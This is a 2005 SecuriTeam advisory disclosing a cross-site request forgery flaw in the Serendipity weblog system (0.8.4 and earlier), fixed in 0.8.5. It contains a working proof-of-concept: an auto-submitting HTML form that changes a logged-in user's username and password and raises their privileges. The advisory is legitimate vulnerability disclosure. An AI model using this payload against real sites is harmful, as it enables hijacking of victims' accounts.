[UNIX] Serendipity Account Hijacking and CSRF Vulnerability

From: SecuriTeam (support_at_securiteam.com)
Date: 09/29/05

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Date: 29 Sep 2005 16:48:20 +0200

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      Serendipity Account Hijacking and CSRF Vulnerability
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.s9y.org/> Serendipity is "a weblog/blog system, implemented
    with PHP. It is standards compliant, feature rich and open source (BSD
    License)".

    A security vulnerability have been discovered in Serendipity that allow
    accounts to be hijacked by utilizing a CSRF technique.

    DETAILS

    Vulnerable Systems:
     * Serendipity versions 0.8.4 and prior

    Immune Systems:
     * Serendipity version 0.8.5

    An attacker is able to change the username and password of a logged-in
    user (and can therefore hijack his account) by tricking the user into
    clicking a link to a page with the following contents:

         <form
    action="http://your-server/path-to-s9y/serendipity_admin.php?
    serendipity[adminModule]=personal &serendipity[adminAction]=save"
    method="post">
             <input type="text" name="username" value="evilguy" />
             <input type="text" name="password" value="evilpass" />
             <input type="text" name="realname" value="John Doe" />
             <input type="text" name="userlevel" value="255"/>
             <input type="text" name="email" value="john@example.com" />
             <input type="text" name="lang" value="en"/>
             <input type="submit" name="SAVE" value="Save" />
         </form>

         <script type="text/javascript">
           document.forms[0].submit();
         </script>

    The fields "your-server" and "path-to-s9y" in the form's action attribute
    have to be adjusted accordingly.

    Similar attacks (termed as "Cross-Site Request Forgery" or CSRF) can be
    launched for performing other requests disguised as the victim. However,
    this problem is not limited to Serendipity, but affects a large number of
    comparable web applications available at this time.

    Solution:
    Version 0.8.5 of Serendipity is reported by the developers to fix the
    Account Hijacking vulnerability as well as the general CSRF problem
    itself.

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:enji@infosys.tuwien.ac.at>
    Nenad Jovanovic.

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